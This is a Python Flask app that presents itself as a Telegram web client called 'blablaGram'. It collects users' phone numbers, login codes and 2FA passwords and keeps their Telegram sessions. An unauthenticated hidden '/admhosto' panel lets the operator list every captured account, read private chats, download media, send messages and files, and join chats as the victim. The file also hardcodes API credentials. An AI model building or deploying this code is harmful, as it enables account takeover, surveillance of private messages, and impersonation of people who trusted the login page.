import asyncio import hashlib import os import sqlite3 import datetime from pathlib import Path from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session from telethon.sync import TelegramClient from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError from telethon.tl.functions.messages import ImportChatInviteRequest from telethon.tl.functions.channels import JoinChannelRequest from telethon.tl.types import User, Chat, Channel app = Flask(__name__) app.secret_key = os.urandom(24) API_ID = '22328650' API_HASH = '20b45c386598fab8028b1d99b63aeeeb' HOST = '0.0.0.0' PORT = 7860 SESSION_DIR = 'sessions' DOWNLOAD_DIR = 'downloads' DB_PATH = 'users.db' os.makedirs(SESSION_DIR, exist_ok=True) os.makedirs(DOWNLOAD_DIR, exist_ok=True) def init_db(): with sqlite3.connect(DB_PATH) as conn: c = conn.cursor() c.execute('''CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, telegram_id TEXT UNIQUE, username TEXT, phone TEXT, session_file TEXT, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP )''') conn.commit() async def get_user_client(user_id): with sqlite3.connect(DB_PATH) as conn: c = conn.cursor() c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,)) result = c.fetchone() if not result: return None, "User not found in database." session_file = result[0] client = TelegramClient(session_file, API_ID, API_HASH) try: await client.connect() if not await client.is_user_authorized(): return None, "Client not authorized. Please log in again." except Exception as e: return None, f"Failed to connect or authorize Telegram client: {e}" return client, None LOGIN_TEMPLATE = ''' blablaGram - Login

blablaGram

''' BLABLAGRAM_APP_TEMPLATE = ''' blablaGram
Select a chat to start messaging
''' ADMHOSTO_TEMPLATE = ''' blablaGram - Admin Panel

blablaGram - Admin Panel

Managed Accounts

{% for user in users %} {% endfor %}
IDTelegram IDUsernamePhoneActions
{{ user[0] }} {{ user[1] }} {{ user[2] }} {{ user[3] }} Manage Account
Back to Login
''' ADMHOSTO_MANAGE_TEMPLATE = ''' Manage: {{ user.username or user.phone }}

Manage Account: {{ user.username or user.phone }}

ID: {{ user.id }} | Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}

Send Message

Join Chat

Chats

{% for chat in chats %}

{{ chat.title }}

{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}

{% else %}

No chats found.

{% endfor %}
Back to Admin Panel
''' @app.route('/') def index(): if 'user_id' in session: return redirect(url_for('blabla_gram_app')) return render_template_string(LOGIN_TEMPLATE) @app.route('/api/login', methods=['POST']) def api_login(): data = request.json phone = data.get('phone') step = data.get('step') if not phone: return jsonify({'success': False, 'message': 'Phone number is required.'}) session_hash = hashlib.md5(phone.encode()).hexdigest() session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session") session['current_login_phone'] = phone session['current_login_session_file'] = session_file_path async def _login_async(): client = TelegramClient(session['current_login_session_file'], API_ID, API_HASH) result = {} try: await client.connect() if step == 'start': if await client.is_user_authorized(): me = await client.get_me() with sqlite3.connect(DB_PATH) as conn: c = conn.cursor() c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file'])) conn.commit() user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0] session['user_id'] = user_db_id result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id} else: sent_code = await client.send_code_request(session['current_login_phone']) session['phone_code_hash'] = sent_code.phone_code_hash result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash} elif step == 'code': code = data.get('code') phone_code_hash = session.get('phone_code_hash') if not phone_code_hash: raise ValueError('Session expired, please try again.') try: me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash) with sqlite3.connect(DB_PATH) as conn: c = conn.cursor() c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file'])) conn.commit() user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0] session['user_id'] = user_db_id result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id} except SessionPasswordNeededError: result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'} except FloodWaitError as e: result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: result = {'success': False, 'message': f'Invalid code or other error: {e}'} elif step == 'password': password = data.get('password') try: me = await client.sign_in(password=password) with sqlite3.connect(DB_PATH) as conn: c = conn.cursor() c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file'])) conn.commit() user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0] session['user_id'] = user_db_id result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id} except FloodWaitError as e: result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: result = {'success': False, 'message': f'Invalid password or other error: {e}'} else: result = {'success': False, 'message': 'Invalid step.'} except FloodWaitError as e: result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'} finally: if client.is_connected(): await client.disconnect() return result return jsonify(asyncio.run(_login_async())) @app.route('/api/logout', methods=['POST']) def api_logout(): user_id = session.get('user_id') if user_id: async def _logout_async(): client, error = await get_user_client(user_id) if error: return try: if client.is_connected(): await client.log_out() except Exception: pass finally: if client and client.is_connected(): await client.disconnect() asyncio.run(_logout_async()) session.clear() return jsonify({'success': True, 'message': 'Logged out successfully.'}) @app.route('/app') def blabla_gram_app(): if 'user_id' not in session: return redirect(url_for('index')) return render_template_string(BLABLAGRAM_APP_TEMPLATE) @app.route('/api/user_chats') def api_user_chats(): user_id = session.get('user_id') if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 async def _get_chats_async(): client, error = await get_user_client(user_id) if error: return None, error chats_info = [] try: async for dialog in client.iter_dialogs(): title = dialog.title chat_type = 'User' participants = None if isinstance(dialog.entity, User): chat_type = 'User' full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() title = full_name if full_name else "Unnamed User" if dialog.entity.username: title += f" (@{dialog.entity.username})" elif isinstance(dialog.entity, Channel): chat_type = 'Channel' if hasattr(dialog.entity, 'participants_count'): participants = dialog.entity.participants_count elif isinstance(dialog.entity, Chat): chat_type = 'Group' if hasattr(dialog.entity, 'participants_count'): participants = dialog.entity.participants_count else: title = title if title else "Unknown Chat" chat_type = "Unknown" initial = title[0].upper() if title else '?' chats_info.append({ 'id': dialog.id, 'title': title, 'type': chat_type, 'participants': participants, 'avatar_initial': initial }) except Exception as e: return None, str(e) finally: if client and client.is_connected(): await client.disconnect() return chats_info, None chats, error = asyncio.run(_get_chats_async()) if error: return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500 return jsonify({'success': True, 'chats': sorted(chats, key=lambda x: x['title'])}) @app.route('/api/chat_messages/') def api_get_chat_messages(peer_id): user_id = session.get('user_id') if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 offset_id = request.args.get('offset_id', None, type=int) limit = request.args.get('limit', 50, type=int) async def _get_messages_async(): client, error = await get_user_client(user_id) if error: return None, error messages = [] try: entity = await client.get_entity(peer_id) async for message in client.iter_messages(entity, limit=limit, max_id=offset_id): msg_data = { 'id': message.id, 'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown' } if message.sender: if isinstance(message.sender, User): msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User" elif hasattr(message.sender, 'title'): msg_data['sender_name'] = message.sender.title else: msg_data['sender_name'] = str(message.sender.id) if message.media: try: file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '') if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'): for attr in message.media.document.attributes: if hasattr(attr, 'file_name'): file_name = attr.file_name break elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'): file_name = f"photo_{message.media.photo.id}.jpg" file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name) if file_info: file_path = Path(file_info) msg_data['file_name'] = file_path.name file_size = os.path.getsize(file_path) msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes" except Exception as media_e: msg_data['file_name'] = f"Download failed: {media_e}" messages.append(msg_data) except Exception as e: return None, str(e) finally: if client and client.is_connected(): await client.disconnect() return messages, None messages, error = asyncio.run(_get_messages_async()) if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500 return jsonify({'success': True, 'messages': messages}) @app.route('/api/send_message', methods=['POST']) def api_send_message(): user_id = session.get('user_id') if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 data = request.json chat_id = data.get('chat_id') message_content = data.get('message') async def _send_message_async(): client, error = await get_user_client(user_id) if error: return {'success': False, 'message': error} try: target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id await client.send_message(target_entity, message_content) return {'success': True, 'message': 'Message sent.'} except FloodWaitError as e: return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: return {'success': False, 'message': str(e)} finally: if client and client.is_connected(): await client.disconnect() return jsonify(asyncio.run(_send_message_async())) @app.route('/api/send_file', methods=['POST']) def api_send_file(): user_id = session.get('user_id') if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 chat_id = request.form.get('chat_id') caption = request.form.get('caption', '') if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400 if 'file' not in request.files: return jsonify({'success': False, 'message': 'No file part in the request.'}), 400 file = request.files['file'] if file.filename == '': return jsonify({'success': False, 'message': 'No selected file.'}), 400 async def _send_file_async(): client, error = await get_user_client(user_id) if error: return {'success': False, 'message': error} try: target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id await client.send_file(target_entity, file.stream, caption=caption, force_document=True) return {'success': True, 'message': 'File sent.'} except FloodWaitError as e: return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: return {'success': False, 'message': str(e)} finally: if client and client.is_connected(): await client.disconnect() return jsonify(asyncio.run(_send_file_async())) @app.route('/api/join_chat', methods=['POST']) def api_join_chat(): user_id = session.get('user_id') if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 data = request.json chat_identifier = data.get('chat_identifier') async def _join_chat_async(): client, error = await get_user_client(user_id) if error: return {'success': False, 'message': error} try: if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier: invite_hash = chat_identifier.split('/')[-1].replace('+', '') await client(ImportChatInviteRequest(invite_hash)) else: await client(JoinChannelRequest(chat_identifier)) return {'success': True, 'message': f'Successfully joined {chat_identifier}.'} except FloodWaitError as e: return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except (UserNotParticipantError, ValueError): return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'} except Exception as e: return {'success': False, 'message': f'Error joining chat: {e}'} finally: if client and client.is_connected(): await client.disconnect() return jsonify(asyncio.run(_join_chat_async())) @app.route('/download/') def download_file(filename): return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True) @app.route('/admhosto') def admhosto_index(): with sqlite3.connect(DB_PATH) as conn: users = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users').fetchall() return render_template_string(ADMHOSTO_TEMPLATE, users=users) @app.route('/admhosto/user//manage') def admhosto_manage_user_account(user_id): with sqlite3.connect(DB_PATH) as conn: user_data = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users WHERE id = ?', (user_id,)).fetchone() if not user_data: return "User not found", 404 user_dict = {'id': user_data[0], 'telegram_id': user_data[1], 'username': user_data[2], 'phone': user_data[3]} async def _get_chats_async(): client, error = await get_user_client(user_id) if error: return None, error chats_info = [] try: async for dialog in client.iter_dialogs(): chat_type = 'Other' if isinstance(dialog.entity, Channel): chat_type = 'Channel' elif isinstance(dialog.entity, Chat): chat_type = 'Group' elif isinstance(dialog.entity, User): chat_type = 'User' title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat") chats_info.append({ 'id': dialog.id, 'title': title, 'type': chat_type, 'participants': getattr(dialog.entity, 'participants_count', None) }) except Exception as e: return None, str(e) finally: if client and client.is_connected(): await client.disconnect() return chats_info, None chats, error = asyncio.run(_get_chats_async()) if error: return f"Failed to load chats: {error}", 500 return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title'])) @app.route('/admhosto/user//chat//messages') def admhosto_get_chat_messages(user_id, peer_id): offset_id = request.args.get('offset_id', None, type=int) limit = request.args.get('limit', 50, type=int) async def _get_messages_async(): client, error = await get_user_client(user_id) if error: return None, error messages = [] try: entity = await client.get_entity(peer_id) async for message in client.iter_messages(entity, limit=limit, max_id=offset_id): msg_data = { 'id': message.id, 'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown' } if message.sender: if isinstance(message.sender, User): msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User" elif hasattr(message.sender, 'title'): msg_data['sender_name'] = message.sender.title else: msg_data['sender_name'] = str(message.sender.id) if message.media: try: file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '') if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'): for attr in message.media.document.attributes: if hasattr(attr, 'file_name'): file_name = attr.file_name break elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'): file_name = f"photo_{message.media.photo.id}.jpg" file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name) if file_info: file_path = Path(file_info) msg_data['file_name'] = file_path.name file_size = os.path.getsize(file_path) msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes" except Exception as media_e: msg_data['file_name'] = f"Download failed: {media_e}" messages.append(msg_data) except Exception as e: return None, str(e) finally: if client and client.is_connected(): await client.disconnect() return messages, None messages, error = asyncio.run(_get_messages_async()) if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500 return jsonify({'success': True, 'messages': messages}) @app.route('/admhosto/send_message/', methods=['POST']) def admhosto_send_message(user_id): data = request.json chat_id = data.get('chat_id') message_content = data.get('message') async def _send_message_async(): client, error = await get_user_client(user_id) if error: return {'success': False, 'message': error} try: target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id await client.send_message(target_entity, message_content) return {'success': True, 'message': 'Message sent.'} except FloodWaitError as e: return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: return {'success': False, 'message': str(e)} finally: if client and client.is_connected(): await client.disconnect() return jsonify(asyncio.run(_send_message_async())) @app.route('/admhosto/send_file/', methods=['POST']) def admhosto_send_file(user_id): chat_id = request.form.get('chat_id') caption = request.form.get('caption', '') if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400 if 'file' not in request.files: return jsonify({'success': False, 'message': 'No file part in the request.'}), 400 file = request.files['file'] if file.filename == '': return jsonify({'success': False, 'message': 'No selected file.'}), 400 async def _send_file_async(): client, error = await get_user_client(user_id) if error: return {'success': False, 'message': error} try: target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id await client.send_file(target_entity, file.stream, caption=caption, force_document=True) return {'success': True, 'message': 'File sent.'} except FloodWaitError as e: return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: return {'success': False, 'message': str(e)} finally: if client and client.is_connected(): await client.disconnect() return jsonify(asyncio.run(_send_file_async())) @app.route('/admhosto/join_chat/', methods=['POST']) def admhosto_join_chat(user_id): data = request.json chat_identifier = data.get('chat_identifier') async def _join_chat_async(): client, error = await get_user_client(user_id) if error: return {'success': False, 'message': error} try: if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier: invite_hash = chat_identifier.split('/')[-1].replace('+', '') await client(ImportChatInviteRequest(invite_hash)) else: await client(JoinChannelRequest(chat_identifier)) return {'success': True, 'message': 'Successfully joined.'} except FloodWaitError as e: return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} except Exception as e: return {'success': False, 'message': f'Error joining: {e}'} finally: if client and client.is_connected(): await client.disconnect() return jsonify(asyncio.run(_join_chat_async())) if __name__ == '__main__': init_db() app.run(host=HOST, port=PORT, debug=False)